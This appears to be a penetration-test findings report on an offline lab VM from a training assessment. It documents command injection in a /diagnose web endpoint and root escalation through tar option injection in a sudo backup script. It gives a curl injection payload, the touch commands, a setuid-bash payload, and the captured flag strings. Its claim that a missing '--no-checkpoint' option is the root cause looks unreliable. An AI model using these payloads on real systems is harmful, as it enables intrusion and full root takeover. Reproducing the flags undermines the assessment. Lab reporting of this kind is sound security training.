

Technical Findings Report

Intern Code: UBI-2026-0300

Evidence Marker: UBI-A6-9FA1AA9363D7

Private assignment set: D4

1. Executive Summary

A reliable exploit chain was developed against the supplied offline VM. The chain uses two distinct vulnerabilities:

1. **Command injection** in the /diagnose web endpoint (port 8080): Allows remote code execution as the support user.
2. **Insecure GNU tar usage** in the sudo-allowed support-backup script: Enables privilege escalation to root via tar's --checkpoint-action feature.

The chain obtains both the user and root flags in five consecutive clean-snapshot runs. Root-cause patches are provided; negative retesting proves the original exploit is blocked while intended service behaviour remains intact.

2. Restoring the Web Service

Initial enumeration (nmap) showed only port 22 open. The .vagrant directory exposed a private key for the vulnerable machine, used to authenticate as vagrant. Investigation via systemctl status / journalctl showed netforge-support crash-looping with Permission denied on /opt/netforge-support/app.py (group root, mode 750), having exhausted systemd's restart limit. Adding group support to the file (chgrp support) and restarting the service brought port 8080 online, exposing the vulnerable web application.

This was necessary in this environment to reach the actual attack surface (/diagnose); it is not itself part of the RCE+privilege-escalation chain that follows.

3. Attack Path Overview

1. **Enumeration:** Port 8080 is now reachable. Gobuster finds /health and /diagnose endpoints.
2. **Foothold:** The /diagnose endpoint with the host parameter is vulnerable to command injection. It is used to write an SSH public key into ~support/.ssh/authorized_keys, granting SSH access as support.
3. **User Flag:** After SSH login, the user flag is retrieved:
UBI{A6_USER_81730E33E40959284138D11A}
4. **Privilege Escalation:** sudo -l shows that support can run /usr/local/sbin/support-backup as root without password. This script uses tar to archive /srv/support/uploads/. By creating files named --checkpoint=1 and --checkpoint-action=exec=sh payload.sh inside that directory, the backup process triggers root-level execution of the payload.
5. **Root Flag:** The payload copies /bin/bash to /tmp/rootshell with setuid; the attacker then obtains a root shell and captures the root flag:
UBI{A6_ROOT_5E78CBB890A6DEC276118C17}

All steps are automated, idempotent, and include cleanup.

4. Vulnerability Details

4.1 Command Injection (CWE-78)

- **Affected Component:** Python web server on port 8080, endpoint /diagnose.
- **Root Cause:** The host parameter is concatenated into a shell command using shell=True (in the vulnerable mode). No input validation is performed.
- **Proof:** curl "http://192.168.56.21:8080/diagnose?host=127.0.0.1;id"
returned output containing uid=1001(support) gid=1001(support) ... confirming command execution.
- **Impact:** Remote code execution as the low-privileged support user.

4.2 Insecure Tar Usage (CWE-78 / CWE-250)

- **Affected Component:** /usr/local/sbin/support-backup (run via sudo).
- **Root Cause:** The script invokes tar on a user-writable directory without the --no-checkpoint option. GNU tar interprets filenames beginning with -- as command-line options, allowing arbitrary command execution.
- **Exploitation :**

```
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh payload.sh'
echo 'cp /bin/bash /tmp/rootshell && chmod +s /tmp/rootshell' > payload.sh
chmod +x payload.sh
sudo /usr/local/sbin/support-backup
/tmp/rootshell -p
```
- **Impact:** Full root compromise.